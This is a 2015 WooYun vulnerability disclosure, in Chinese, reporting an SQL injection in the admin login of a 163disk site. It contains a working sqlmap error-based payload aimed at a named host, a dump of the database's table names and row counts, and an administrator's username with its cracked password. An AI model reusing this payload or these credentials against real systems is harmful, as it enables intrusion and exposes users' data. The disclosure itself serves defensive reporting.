当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130854

漏洞标题:163网盘某站post注入(泄露50万用户信息/200万用户文件)

相关厂商:163网盘

漏洞作者: 路人甲

提交时间:2015-08-02 11:01

修复时间:2015-09-20 21:14

公开时间:2015-09-20 21:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-02: 细节已通知厂商并且等待厂商处理中
2015-08-06: 厂商已经确认,细节仅向厂商公开
2015-08-16: 细节向核心白帽子及相关领域专家公开
2015-08-26: 细节向普通白帽子公开
2015-09-05: 细节向实习白帽子公开
2015-09-20: 细节向公众公开

简要描述:

163网盘某站post注入泄露50万用户信息+200万用户文件

详细说明:

站点:http://admin.houtai.163disk.com/index.php
登陆框username参数存在注入

sqlmap identified the following injection points with a total of 96 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=admin' AND (SELECT 2388 FROM(SELECT COUNT(*),CONCAT(0x716e616271,(SELECT (CASE WHEN (2388=2388) THEN 1 ELSE 0 END)),0x7177656271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MOFa'='MOFa&password=admin&seccode=xwvv&submit=%B5%C7 %C2%BC
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
available databases [2]:
[*] 163diskcom
[*] information_schema
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=admin' AND (SELECT 2388 FROM(SELECT COUNT(*),CONCAT(0x716e616271,(SELECT (CASE WHEN (2388=2388) THEN 1 ELSE 0 END)),0x7177656271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MOFa'='MOFa&password=admin&seccode=xwvv&submit=%B5%C7 %C2%BC
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
Database: 163diskcom
[21 tables]
+---------------------+
| disk_all_admin |
| disk_all_adminlog |
| disk_all_album |
| disk_all_badword |
| disk_all_config |
| disk_all_help |
| disk_all_hotso |
| disk_all_links |
| disk_all_list |
| disk_all_notice |
| disk_all_server |
| disk_all_smtp |
| disk_user_disk |
| disk_user_feedback |
| disk_user_file |
| disk_user_filebody |
| disk_user_filecount |
| disk_user_folder |
| disk_user_info |
| disk_user_login |
| disk_user_msg |
+---------------------+
Database: 163diskcom
+---------------------+---------+
| Table | Entries |
+---------------------+---------+
| disk_user_filecount | 2025746 |
| disk_user_filebody | 2025700 |
| disk_user_file | 2025639 | 文件表
| disk_user_disk | 522093 | 用户表
| disk_user_info | 522036 |
| disk_user_login | 144237 |
| disk_user_folder | 74119 |
| disk_user_msg | 71211 |
| disk_user_feedback | 16169 |
| disk_all_adminlog | 1549 |
| disk_all_badword | 1231 |
| disk_all_album | 136 |
| disk_all_links | 110 |
| disk_all_notice | 14 |
| disk_all_server | 10 |
| disk_all_hotso | 8 |
| disk_all_list | 8 |
| disk_all_smtp | 6 |
| disk_all_admin | 3 | 管理表
| disk_all_config | 1 |
+---------------------+---------+


1111.png


获取管理员wangming 解密wang_2014
登陆后台

2222.png


3333.png


4444.png

漏洞证明:

1111.png


2222.png


3333.png


4444.png

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-06 21:12

厂商回复:

感谢路人甲同学的关注与贡献!马上修补!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-02 11:20 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    沙发

  2. 2015-08-02 11:49 | 泪雨无魂 ( 实习白帽子 | Rank:94 漏洞数:32 )

    二楼。。。

  3. 2015-08-02 14:48 | DC3 ( 普通白帽子 | Rank:168 漏洞数:21 | 乌云装逼达人)

    板凳

  4. 2015-08-06 23:05 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    I need AV

  5. 2015-08-07 01:10 | 乌云首席鉴黄师 ( 普通白帽子 | Rank:121 漏洞数:45 | 妈妈,我要上电视)

    @qhwlpg What?!!

  6. 2015-09-20 21:19 | 金馆长 ( 路人 | Rank:0 漏洞数:1 | Up)

    @乌云首席鉴黄师 你好我是编号72306的鉴黄师

  7. 2015-09-20 21:46 | Soulmk ( 路人 | Rank:6 漏洞数:2 | 我是来学习滴~~)

    略碉~~~

  8. 2015-09-21 09:02 | 心云 ( 路人 | Rank:6 漏洞数:4 | 学好技术,读好书,做好人。)

    路人甲好样的